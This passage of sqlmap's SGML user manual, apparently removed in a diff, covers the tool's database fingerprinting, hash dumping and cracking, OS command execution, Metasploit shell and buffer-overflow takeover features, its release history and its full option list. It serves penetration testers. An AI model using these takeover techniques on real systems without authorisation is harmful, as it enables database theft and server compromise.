-message to the user. - -<item>Integration with other IT security open source projects, -<htmlurl url="http://metasploit.com" name="Metasploit"> and <htmlurl -url="http://w3af.sourceforge.net/" name="w3af">. -</itemize> - - -<sect1>Fingerprint and enumeration features - -<p> -<itemize> -<item><bf>Extensive back-end database software version and underlying -operating system fingerprint</bf> based upon -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="error messages">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and -<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. - -<item>Basic web server software and web application technology -fingerprint. - -<item>Support to retrieve the DBMS <bf>banner</bf>, <bf>session user</bf> -and <bf>current database</bf> information. The tool can also check if the -session user is a <bf>database administrator</bf> (DBA). - -<item>Support to enumerate <bf>database users</bf>, <bf>users' password -hashes</bf>, <bf>users' privileges</bf>, <bf>users' roles</bf>, -<bf>databases</bf>, <bf>tables</bf> and <bf>columns</bf>. - -<item>Automatic recognition of password hashes format and support to -<bf>crack them with a dictionary-based attack</bf>. - -<item>Support to <bf>brute-force tables and columns name</bf>. This is -useful when the session user has no read access over the system table -containing schema information or when the database management system does -not store this information anywhere (e.g. MySQL < 5.0). - -<item>Support to <bf>dump database tables</bf> entirely, a range of -entries or specific columns as per user's choice. The user can also choose -to dump only a range of characters from each column's entry. - -<item>Support to automatically <bf>dump all databases</bf>' schemas and -entries. It is possibly to exclude from the dump the system databases. - -<item>Support to <bf>search for specific database names, specific tables -across all databases or specific columns across all databases' -tables</bf>. This is useful, for instance, to identify tables containing -custom application credentials where relevant columns' names contain -string like <em>name</em> and <em>pass</em>. - -<item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive -SQL client connecting to the back-end database. sqlmap automatically -dissects the provided statement, determines which technique fits best to -inject it and how to pack the SQL payload accordingly. -</itemize> - - -<sect1>Takeover features - -<p> -Some of these techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control"> and in the -slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" -name="Expanding the control over the operating system from the database">. - -<itemize> -<item>Support to <bf>inject custom user-defined functions</bf>: the user -can compile a shared library then use sqlmap to create within the back-end -DBMS user-defined functions out of the compiled shared library file. These -UDFs can then be executed, and optionally removed, via sqlmap. This is -supported when the database software is MySQL or PostgreSQL. - -<item>Support to <bf>download and upload any file</bf> from the database -server underlying file system when the database software is MySQL, -PostgreSQL or Microsoft SQL Server. - -<item>Support to <bf>execute arbitrary commands and retrieve their -standard output</bf> on the database server underlying operating system -when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -<itemize> -<item>On MySQL and PostgreSQL via user-defined function injection and -execution. -<item>On Microsoft SQL Server via <tt>xp_cmdshell()</tt> stored procedure. -Also, the stored procedure is re-enabled if disabled or created from -scratch if removed by the DBA. -</itemize> - -<item>Support to <bf>establish an out-of-band stateful TCP connection -between the attacker machine and the database server</bf> underlying -operating system. This channel can be an interactive command prompt, a -Meterpreter session or a graphical user interface (VNC) session as per -user's choice. -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -<itemize> -<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> -via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on -MySQL and PostgreSQL. -<item>Upload and execution of a Metasploit's <bf>stand-alone payload -stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on -MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL -Server. -<item>Execution of Metasploit's shellcode by performing a <bf>SMB -reflection attack</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" -name="MS08-068">) with a UNC path request from the database server to -the attacker's machine where the Metasploit <tt>smb_relay</tt> server -exploit listens. Supported when running sqlmap with high privileges -(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator -on Windows. -<item>Database in-memory execution of the Metasploit's shellcode by -exploiting <bf>Microsoft SQL Server 2000 and 2005 -<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer -overflow</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" -name="MS09-004">). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation. -</itemize> - -<item>Support for <bf>database process' user privilege escalation</bf> via -Metasploit's <tt>getsystem</tt> command which include, among others, -the <htmlurl -url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" -name="kitrap0d"> technique (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" -name="MS10-015">). - -<item>Support to access (read/add/delete) Windows registry hives. -</itemize> - - -<sect>History - -<sect1>2011 - -<p> -<itemize> -<item><bf>April 10</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> release sqlmap -<bf>0.9</bf> featuring a totally rewritten and powerful SQL injection -detection engine, the possibility to connect directly to a database -server, support for time-based blind SQL injection and error-based SQL -injection, support for four new database management systems and much more. -</itemize> - -<sect1>2010 - -<p> -<itemize> -<item><bf>December</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> have enhanced sqlmap a -lot during the whole year and prepare to release sqlmap <bf>0.9</bf> -within the first quarter of 2011. -<item><bf>June 3</bf>, Bernardo <htmlurl name="presents" -url="http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet"> -a talk titled <em>Got database access? Own the network!</em> at AthCon -2010 in Athens (Greece). -<item><bf>March 14</bf>, <htmlurl name="Bernardo and Miroslav" -url="http://www.sqlmap.org/#developers"> release stable version of -sqlmap <bf>0.8</bf> featuring many features. Amongst these, support to -enumerate and dump all databases' tables containing user provided -column(s), stabilization and enhancements to the takeover functionalities, -updated integration with Metasploit 3.3.3 and a lot of minor features and -bug fixes. -<item><bf>March</bf>, sqlmap demo videos have been <htmlurl -name="published" url="http://www.youtube.com/inquisb#g/u">. -<item><bf>January</bf>, Bernardo is <htmlurl name="invited" -url="http://www.athcon.org/speakers/"> to present at <htmlurl -name="AthCon" url="http://www.athcon.org/archives/2010-2/"> conference in -Greece on June 2010. -</itemize> - -<sect1>2009 - -<p> -<itemize> -<item><bf>December 18</bf>, Miroslav Stampar replies to the call for -developers. Along with Bernardo, he actively develops sqlmap from version -<bf>0.8 release candidate 2</bf>. - -<item><bf>December 12</bf>, Bernardo writes to the mailing list a post -titled <htmlurl url="http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html" -name="sqlmap state of art - 3 years later"> highlighting the goals -achieved during these first three years of the project and launches a call -for developers. - -<item><bf>December 4</bf>, sqlmap-devel mailing list has been merged into -sqlmap-users <htmlurl name="mailing list" url="http://www.sqlmap.org/#ml">. - -<item><bf>November 20</bf>, Bernardo and Guido present again their -research on stealth database server takeover at CONfidence 2009 in Warsaw, -Poland. - -<item><bf>September 26</bf>, sqlmap version <bf>0.8 release candidate -1</bf> goes public on the <htmlurl name="subversion repository" -url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">, with all the attack -vectors unveiled at SOURCE Barcelona 2009 Conference. These include an -enhanced version of the Microsoft SQL Server buffer overflow exploit to -automatically bypass DEP memory protection, support to establish the -out-of-band connection with the database server by executing in-memory -the Metasploit shellcode via UDF <em>sys_bineval()</em> (anti-forensics -technique), support to access the Windows registry hives and support to -inject custom user-defined functions. - -<item><bf>September 21</bf>, Bernardo and <htmlurl name="Guido Landi" -url="http://www.pornosecurity.org"> <htmlurl name="present" -url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule"> -their research (<htmlurl name="slides" -url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">) -at SOURCE Conference 2009 in Barcelona, Spain. - -<item><bf>August</bf>, Bernardo is accepted as a speaker at two others IT -security conferences, <htmlurl url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009" -name="SOURCE Barcelona 2009"> and <htmlurl url="http://200902.confidence.org.pl/" -name="CONfidence 2009 Warsaw">. -This new research is titled <em>Expanding the control over the operating -system from the database</em>. - -<item><bf>July 25</bf>, stable version of sqlmap <bf>0.7</bf> is out! - -<item><bf>June 27</bf>, Bernardo <htmlurl name="presents" -url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated"> -an updated version of his -<em>SQL injection: Not only AND 1=1</em> slides at <htmlurl name="2nd -Digital Security Forum" url="http://www.digitalsecurityforum.eu/"> in -Lisbon, Portugal. - -<item><bf>June 2</bf>, sqlmap version <bf>0.6.4</bf> has made its way to -the official Ubuntu repository too. - -<item><bf>May</bf>, Bernardo presents again his research on operating -system takeover via SQL injection at <htmlurl -url="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland" -name="OWASP AppSec Europe 2009"> in Warsaw, Poland and at <htmlurl -url="http://eusecwest.com/" name="EUSecWest 2009"> in London, UK. - -<item><bf>May 8</bf>, sqlmap version <bf>0.6.4</bf> has been officially -accepted in Debian repository. Details on <htmlurl -url="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html" -name="this blog post">. - -<item><bf>April 22</bf>, sqlmap version <bf>0.7 release candidate 1</bf> -goes public, with all the attack vectors unveiled at Black Hat Europe 2009 -Conference. -These include execution of arbitrary commands on the underlying operating -system, full integration with Metasploit to establish an out-of-band -TCP connection, first publicly available exploit for Microsoft Security -Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx" -name="MS09-004"> against Microsoft SQL Server 2000 and 2005 and others -attacks to takeover the database server as a whole, not only the data from -the database. - -<item><bf>April 16</bf>, Bernardo <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele" -name="presents"> his research (<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides" name="slides">, <htmlurl -url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="whitepaper">) at Black Hat Europe 2009 in Amsterdam, The Netherlands. -The feedback from the audience is good and there has been some -<htmlurl url="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html" -name="media coverage"> too. - -<item><bf>March 5</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11" -name="presents"> for the first time some of the sqlmap recent features and -upcoming enhancements at an international event, <htmlurl -url="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009" -name="Front Range OWASP Conference 2009"> in Denver, USA. The presentation -is titled <em>SQL injection: Not only AND 1=1</em>. - -<item><bf>February 24</bf>, Bernardo is accepted as a <htmlurl -url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele" -name="speaker"> at <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html" -name="Black Hat Europe 2009"> with a presentation titled <em>Advanced SQL -injection exploitation to operating system full control</em>. - -<item><bf>February 3</bf>, sqlmap <bf>0.6.4</bf> is the last point release -for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, -sqlmap can now be used to execute any arbitrary SQL statement, not only -<em>SELECT</em> anymore. Also, many features have been stabilized, tweaked -and improved in terms of speed in this release. - -<item><bf>January 9</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-exploitation-internals-presentation" -name="presents"> <em>SQL injection exploitation internals</em> at a -private event in London, UK. -</itemize> - -<sect1>2008 - -<p> -<itemize> -<item><bf>December 18</bf>, sqlmap <bf>0.6.3</bf> is released featuring -support to retrieve targets from Burp and WebScarab proxies log files, -support to test for stacked queries ant time-based blind SQL injection, -rough fingerprint of the web server and web application technologies in -use and more options to customize the HTTP requests and enumerate more -information from the database. - -<item><bf>November 2</bf>, sqlmap version <bf>0.6.2</bf> is a "bug fixes" -release only. - -<item><bf>October 20</bf>, sqlmap first point release, <bf>0.6.1</bf>, goes -public. This includes minor bug fixes and the first contact between the -tool and <htmlurl url="http://metasploit.com" name="Metasploit">: -an auxiliary module to launch sqlmap from within Metasploit Framework. -The <htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" -name="subversion development repository"> goes public again. - -<item><bf>September 1</bf>, nearly one year after the previous release, -sqlmap <bf>0.6</bf> comes to life featuring a complete code -refactoring, support to execute arbitrary SQL <em>SELECT</em> statements, -more options to enumerate and dump specific information are added, brand -new installation packages for Debian, Red Hat, Windows and much more. - -<item><bf>August</bf>, two public <htmlurl name="mailing lists" -url="http://www.sqlmap.org/#ml"> are created on SourceForge. - -<item><bf>January</bf>, sqlmap subversion development repository is moved -away from SourceForge and goes private for a while. -</itemize> - -<sect1>2007 - -<p> -<itemize> -<item><bf>November 4</bf>, release <bf>0.5</bf> marks the end of the OWASP -Spring of Code 2007 contest participation. Bernardo has <htmlurl -url="http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page" -name="accomplished"> all the propsed objects which include also initial -support for Oracle, enhanced support for UNION query SQL injection and -support to test and exploit SQL injections in HTTP Cookie and User-Agent -headers. - -<item><bf>June 15</bf>, Bernardo releases version <bf>0.4</bf> as a -result of the first OWASP Spring of Code 2007 milestone. This release -features, amongst others, improvements to the DBMS fingerprint engine, -support to calculate the estimated time of arrival, options to enumerate -specific data from the database server and brand new logging system. - -<item><bf>April</bf>, even though sqlmap was <bf>not</bf> and is <bf>not</bf> -an OWASP project, it gets <htmlurl url="http://www.owasp.org/index.php/SpoC_007_-_SqlMap" -name="accepted">, amongst many other open source projects to OWASP Spring -of Code 2007. - -<item><bf>March 30</bf>, Bernardo applies to OWASP <htmlurl -url="http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap" -name="Spring of Code 2007">. - -<item><bf>January 20</bf>, sqlmap version <bf>0.3</bf> is released, -featuring initial support for Microsoft SQL Server, support to test -and exploit UNION query SQL injections and injection points in POST -parameters. -</itemize> - -<sect1>2006 - -<p> -<itemize> -<item><bf>December 13</bf>, Bernardo releases version <bf>0.2</bf> with -major enhancements to the DBMS fingerprint functionalities and replacement -of the old inference algorithm with the bisection algorithm. - -<item><bf>September</bf>, Daniele leaves the project, <htmlurl -url="http://bernardodamele.blogspot.com" name="Bernardo Damele A. G."> -takes it over. - -<item><bf>August</bf>, Daniele adds initial support for PostgreSQL and releases -version <bf>0.1</bf>. - -<item><bf>July 25</bf>, <htmlurl url="http://dbellucci.blogspot.com" name="Daniele Bellucci"> -registers the sqlmap project on SourceForge and develops it on the -<htmlurl url="http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/" -name="SourceForge subversion repository">. The skeleton is implemented and -limited support for MySQL added. -</itemize> - - -<sect>Download and update - -<p> -sqlmap can be downloaded from its -<htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">. -It is available in two formats: - -<itemize> -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz" -name="Source gzip compressed">. - -<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip" -name="Source zip compressed">. -</itemize> - -<p> -You can also checkout the latest development version from the -<htmlurl url="https://github.com/sqlmapproject/sqlmap" name="git"> -repository: - -<tscreen><verb> -$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -</verb></tscreen> - -<p> -You can update it at any time to the latest development version by running: - -<tscreen><verb> -$ python sqlmap.py --update -</verb></tscreen> - -Or: - -<tscreen><verb> -$ git pull -</verb></tscreen> - -<p> -This is strongly recommended <bf>before</bf> reporting any bug to the -<htmlurl url="http://www.sqlmap.org/#ml" name="mailing list">. - - -<sect>Usage - -<p> -<tscreen><verb> -$ python sqlmap.py -h - - sqlmap/1.0 - automatic SQL injection and database takeover tool - http://www.sqlmap.org - -Usage: python sqlmap.py [options] - -Options: - --version show program's version number and exit - -h, --help show this help message and exit - -v VERBOSE Verbosity level: 0-6 (default 1) - - Target: - At least one of these options has to be specified to set the source to - get target urls from. - - -d DIRECT Direct connection to the database - -u URL, --url=URL Target url - -l LIST Parse targets from Burp or WebScarab proxy logs - -r REQUESTFILE Load HTTP request from a file - -g GOOGLEDORK Process Google dork results as target urls - -c CONFIGFILE Load options from a configuration INI file - - Request: - These options can be used to specify how to connect to the target url. - - --data=DATA Data string to be sent through POST - --cookie=COOKIE HTTP Cookie header - --cookie-urlencode URL Encode generated cookie injections - --drop-set-cookie Ignore Set-Cookie header from response - --user-agent=AGENT HTTP User-Agent header - --random-agent Use randomly selected HTTP User-Agent header - --referer=REFERER HTTP Referer header - --headers=HEADERS Extra HTTP headers newline separated - --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) - --auth-cred=ACRED HTTP authentication credentials (name:password) - --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) - --proxy=PROXY Use a HTTP proxy to connect to the target url - --proxy-cred=PCRED HTTP proxy authentication credentials (name:password) - --ignore-proxy Ignore system default HTTP proxy - --delay=DELAY Delay in seconds between each HTTP request - --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) - --retries=RETRIES Retries when the connection timeouts (default 3) - --scope=SCOPE Regexp to filter targets from provided proxy log - --safe-url=SAFURL Url address to visit frequently during testing - --safe-freq=SAFREQ Test requests between two visits to a given safe url - - Optimization: - These options can be used to optimize the performance of sqlmap. - - -o Turn on all optimization switches - --predict-output Predict common queries output - --keep-alive Use persistent HTTP(s) connections - --null-connection Retrieve page length without actual HTTP response body - --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) - - Injection: - These options can be used to specify which parameters to test for, - provide custom injection payloads and optional tampering scripts. - - -p TESTPARAMETER Testable parameter(s) - --dbms=DBMS Force back-end DBMS to this value - --os=OS Force back-end DBMS operating system to this value - --prefix=PREFIX Injection payload prefix string - --suffix=SUFFIX Injection payload suffix string - --tamper=TAMPER Use given script(s) for tampering injection data - - Detection: - These options can be used to specify how to parse and compare page - content from HTTP responses when using blind SQL injection technique. - - --level=LEVEL Level of tests to perform (1-5, default 1) - --risk=RISK Risk of tests to perform (0-3, default 1) - --string=STRING String to match when query is evaluated to True - --regexp=REGEXP Regexp to match when query is evaluated to True - --text-only Compare pages based only on the textual content - - Techniques: - These options can be used to tweak testing of specific SQL injection - techniques. - - --technique=TECH SQL injection techniques to test for (default BEUST) - --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) - --union-cols=UCOLS Range of columns to test for UNION query SQL injection - --union-char=UCHAR Character to use for bruteforcing number of columns - - Fingerprint: - -f, --fingerprint Perform an extensive DBMS version fingerprint - - Enumeration: - These options can be used to enumerate the back-end database - management system information, structure and data contained in the - tables. Moreover you can run your own SQL statements. - - -b, --banner Retrieve DBMS banner - --current-user Retrieve DBMS current user - --current-db Retrieve DBMS current database - --is-dba Detect if the DBMS current user is DBA - --users Enumerate DBMS users - --passwords Enumerate DBMS users password hashes - --privileges Enumerate DBMS users privileges - --roles Enumerate DBMS users roles - --dbs Enumerate DBMS databases - --tables Enumerate DBMS database tables - --columns Enumerate DBMS database table columns - --schema Enumerate DBMS schema - --count Retrieve number of entries for table(s) - --dump Dump DBMS database table entries - --dump-all Dump all DBMS databases tables entries - --search Search column(s), table(s) and/or database name(s) - -D DB DBMS database to enumerate - -T TBL DBMS database table to enumerate - -C COL DBMS database table column to enumerate - -U USER DBMS user to enumerate - --exclude-sysdbs Exclude DBMS system databases when enumerating tables - --start=LIMITSTART First query output entry to retrieve - --stop=LIMITSTOP Last query output entry to retrieve - --first=FIRSTCHAR First query output word character to retrieve - --last=LASTCHAR Last query output word character to retrieve - --sql-query=QUERY SQL statement to be executed - --sql-shell Prompt for an interactive SQL shell - - Brute force: - These options can be used to run brute force checks. - - --common-tables Check existence of common tables - --common-columns Check existence of common columns - - User-defined function injection: - These options can be used to create custom user-defined functions. - - --udf-inject Inject custom user-defined functions - --shared-lib=SHLIB Local path of the shared library - - File system access: - These options can be used to access the back-end database management - system underlying file system. - - --file-read=RFILE Read a file from the back-end DBMS file system - --file-write=WFILE Write a local file on the back-end DBMS file system - --file-dest=DFILE Back-end DBMS absolute filepath to write to - - Operating system access: - These options can be used to access the back-end database management - system underlying operating system. - - --os-cmd=OSCMD Execute an operating system command - --os-shell Prompt for an interactive operating system shell - --os-pwn Prompt for an out-of-band shell, meterpreter or VNC - --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC - --os-bof Stored procedure buffer overflow exploitation - --priv-esc Database process' user privilege escalation - --msf-path=MSFPATH Local path where Metasploit Framework is installed - --tmp-path=TMPPATH Remote absolute path of temporary files directory - - Windows registry access: - These options can be used to access the back-end database management - system Windows registry. - - --reg-read Read a Windows registry key value - --reg-add Write a Windows registry key value data - --reg-del Delete a Windows registry key value - --reg-key=REGKEY Windows registry key - --reg-value=REGVAL Windows registry key value - --reg-data=REGDATA Windows registry key value data - --reg-type=REGTYPE Windows registry key value type - - General: - These options can be used to set some general working parameters. - - -t TRAFFICFILE Log all HTTP traffic into a textual file - -s SESSIONFILE Save and resume all data retrieved on a session file - --flush-session Flush session file for current target - --fresh-queries Ignores query results stored in session file - --eta Display for each output the estimated time of arrival - --update Update sqlmap - --save Save options on a configuration INI file - --batch Never ask for user input, use the default behaviour - - Miscellaneous: - --beep Alert when sql injection found - --check-payload IDS detection testing of injection payloads - --cleanup Clean up the DBMS by sqlmap specific UDF and tables - --forms Parse and test forms on target url - --gpage=GOOGLEPAGE Use Google dork results from specified page number - --mobile Imitate smartphone through HTTP User-Agent header - --page-rank Display page rank (PR) for Google dork results - --parse-errors Parse DBMS error messages from response pages - --replicate Replicate dumped data into a sqlite3 database - --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address - --wizard Simple wizard interface for beginner users -</verb></tscreen> - - -<sect1>Output verbosity - -<p> -Switch: <tt>-v</tt> - -<p> -This switch can be used to set the verbosity level of output messages. -There exist <bf>seven</bf> levels of verbosity. -The default level is <bf>1</bf> in which information, warning, error and -critical messages and Python tracebacks (if any occur) will be displayed. - -<itemize> -<item><bf>0</bf>: Show only Python tracebacks, error and critical messages. -<item><bf>1</bf>: Show also information and warning messages. -<item><bf>2</bf>: Show also debug messages. -<item><bf>3</bf>: Show also payloads injected. -<item><bf>4</bf>: Show also HTTP requests. -<item><bf>5</bf>: Show also HTTP responses' headers. -<item><bf>6</bf>: Show also HTTP responses' page content. -</itemize> - -<p> -A reasonable level of verbosity to further understand what sqlmap does -under the hood is level <bf>2</bf>, primarily for the detection phase and -the take-over functionalities. Whereas if you want to see the SQL payloads -the tools sends, level <bf>3</bf> is your best choice. -In order to further debug potential bugs or unexpected behaviours, we -recommend you to set the verbosity to level <bf>4</bf> or above. This -level is recommended to be used when you feed the developers with a bug -report too. - - -<sect1>Target - -<p> -At least one of these options has to be provided. - -<sect2>Target URL - -<p> -Switch: <tt>-u</tt> or <tt>-</tt><tt>-url</tt> - -<p> -Run sqlmap against a single target URL. This switch requires an argument -which is the target URL in the form <tt>http(s)://targeturl[:port]/[...]</tt>. - -<sect2>Parse targets from Burp or WebScarab proxy logs - -<p> -Switch: <tt>-l</tt> - -<p> -Rather than providing a single target URL, it is possible to test and -inject against HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/" -name="Burp proxy"> or <htmlurl -url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" -name="WebScarab proxy"> This switch requires an argument which is the -proxy's HTTP requests log file. - -<sect2>Load HTTP request from a file - -<p> -Switch: <tt>-r</tt> - -<p> -One of the possibilities of sqlmap is loading of complete HTTP request -from a textual file. That way you can skip usage of bunch of other -options (e.g. setting of cookies, POSTed data, etc). - -<p> -Sample content of a HTTP request file provided as argument to this switch: - -<tscreen><verb> -POST /sqlmap/mysql/post_int.php HTTP/1.1 -Host: 192.168.136.131 -User-Agent: Mozilla/4.0 - -id=1 -</verb></tscreen> - -<sect2>Process Google dork results as target addresses - -<p> -Switch: <tt>-g</tt> - -<p> -It is also possible to test and inject on <tt>GET</tt> parameters on the -results of your Google dork. - -<p> -This option makes sqlmap negotiate with the search engine its session -cookie to be able to perform a search, then sqlmap will retrieve Google -first 100 results for the Google dork expression with <tt>GET</tt> -parameters asking you if you want to test and inject on each possible -affected URL. - -<sect2>Load options from a configuration INI file - -<p> -Switch: <tt>-c</tt> - -<p> -It is possible to pass user's options from a configuration INI file, an -example is <tt>sqlmap.conf</tt>. - -<p> -Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite those provided in the -configuration file. - - -<sect1>Request - -<p> -These options can be used to specify how to connect to the target url. - -<sect2>HTTP data - -<p> -Option: <tt>-</tt><tt>-data</tt> - -<p> -By default the HTTP method used to perform HTTP requests is <tt>GET</tt>, -but you can implicitly change it to <tt>POST</tt> by providing the data to -be sent in the <tt>POST</tt> requests. Such data, being those parameters, -are tested for SQL injection as well as any provided <tt>GET</tt> -parameters. - - -<sect2>HTTP <tt>Cookie</tt> header - -<p> -Switches: <tt>-</tt><tt>-cookie</tt>, <tt>-</tt><tt>-drop-set-cookie</tt> -and <tt>-</tt><tt>-cookie-urlencode</tt> - -<p> -This feature can be useful in two ways: - -<itemize> -<item>The web application requires authentication based upon cookies and -you have such data. -<item>You want to detect and exploit SQL injection on such header values. -</itemize> - -<p> -Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through are the following: - -<itemize> -<item>Login to the application with your favourite browser. -<item>Get the HTTP Cookie from the browser's preferences or from the HTTP -proxy screen and copy to the clipboard. -<item>Go back to your shell and run sqlmap by pasting your clipboard as -the argument of the <tt>-</tt><tt>-cookie</tt> switch. -</itemize> - -<p> -Note that the HTTP <tt>Cookie</tt> header values are usually separated by -a <tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>. sqlmap can -recognize these as separate sets of <tt>parameter=value</tt> too, as well -as GET and POST parameters. - -<p> -If at any time during the communication, the web application responds with -<tt>Set-Cookie</tt> headers, sqlmap will automatically use its value in -all further HTTP requests as the <tt>Cookie</tt> header. sqlmap will also -automatically test those values for SQL injection. This can be avoided by -providing the switch <tt>-</tt><tt>-drop-set-cookie</tt> - sqlmap will -ignore any coming <tt>Set-Cookie</tt> header. - -<p> -Vice versa, if you provide a HTTP <tt>Cookie</tt> header with -<tt>-</tt><tt>-cookie</tt> switch and the target URL sends an HTTP -<tt>Set-Cookie</tt> header at any time, sqlmap will ask you which set of -cookies to use for the following HTTP requests. - -<p> -sqlmap by default does <bf>not</bf> URL-encode generated cookie payloads, -but you can force it by using the <tt>-</tt><tt>-cookie-urlencode</tt> -switch. Cookie content encoding is not declared by HTTP protocol standard -in any way, so it is solely the matter of web application's behaviour. - -<p> -Note that also the HTTP <tt>Cookie</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>2</bf> or above. -Read below for details. - - -<sect2>HTTP <tt>User-Agent</tt> header - -<p> -Switches: <tt>-</tt><tt>-user-agent</tt> and <tt>-</tt><tt>-random-agent</tt> - -<p> -By default sqlmap performs HTTP requests with the following <tt>User-Agent</tt> -header value: - -<tscreen><verb> -sqlmap/0.9 (http://www.sqlmap.org) -</verb></tscreen> - -<p> -However, it is possible to fake it with the <tt>-</tt><tt>-user-agent</tt> -switch by providing custom User-Agent as the switch argument. - -<p> -Moreover, by providing the <tt>-</tt><tt>-random-agent</tt> switch, sqlmap -will randomly select a <tt>User-Agent</tt> from the <tt>./txt/user-agents.txt</tt> -textual file and use it for all HTTP requests within the session. - -<p> -Some sites perform a server-side check on the HTTP <tt>User-Agent</tt> -header value and fail the HTTP response if a valid <tt>User-Agent</tt> is -not provided, its value is not expected or is blacklisted by a web -application firewall or similar intrusion prevention system. In this case -sqlmap will show you a message as follows: - -<tscreen><verb> -[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to -force the HTTP User-Agent header with option --user-agent or --random-agent -</verb></tscreen> - -<p> -Note that also the HTTP <tt>User-Agent</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above. -Read below for details. - - -<sect2>HTTP <tt>Referer</tt> header - -<p> -Switch: <tt>-</tt><tt>-referer</tt> - -<p> -It is possible to fake the HTTP <tt>Referer</tt> header value. By default -<bf>no</bf> HTTP <tt>Referer</tt> header is sent in HTTP requests if not -explicitly set. - -<p> -Note that also the HTTP <tt>Referer</tt> header is tested against SQL -injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above. -Read below for details. - - -<sect2>Extra HTTP headers - -<p> -Switch: <tt>-</tt><tt>-headers</tt> - -<p> -It is possible to provide extra HTTP headers by setting the -<tt>-</tt><tt>-headers</tt> switch. Each header must be separated by a -newline and it is much easier to provide them from the configuration INI -file. Have a look at the sample <tt>sqlmap.conf</tt> file for an example. - - -<sect2>HTTP protocol authentication - -<p> -Switches: <tt>-</tt><tt>-auth-type</tt> and <tt>-</tt><tt>-auth-cred</tt> - -<p> -These options can be used to specify which HTTP protocol authentication -the web server implements and the valid credentials to be used to perform -all HTTP requests to the target application. - -The three supported HTTP protocol authentication mechanisms are: - -<itemize> -<item><tt>Basic</tt> -<item><tt>Digest</tt> -<item><tt>NTLM</tt> -</itemize> - -While the credentials' syntax is <tt>username:password</tt>. - -<p> -Example of valid syntax: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \ - --auth-type Basic --auth-cred "testuser:testpass" -</verb></tscreen> - - -<sect2>HTTP protocol certificate authentication - -<p> -Switch: 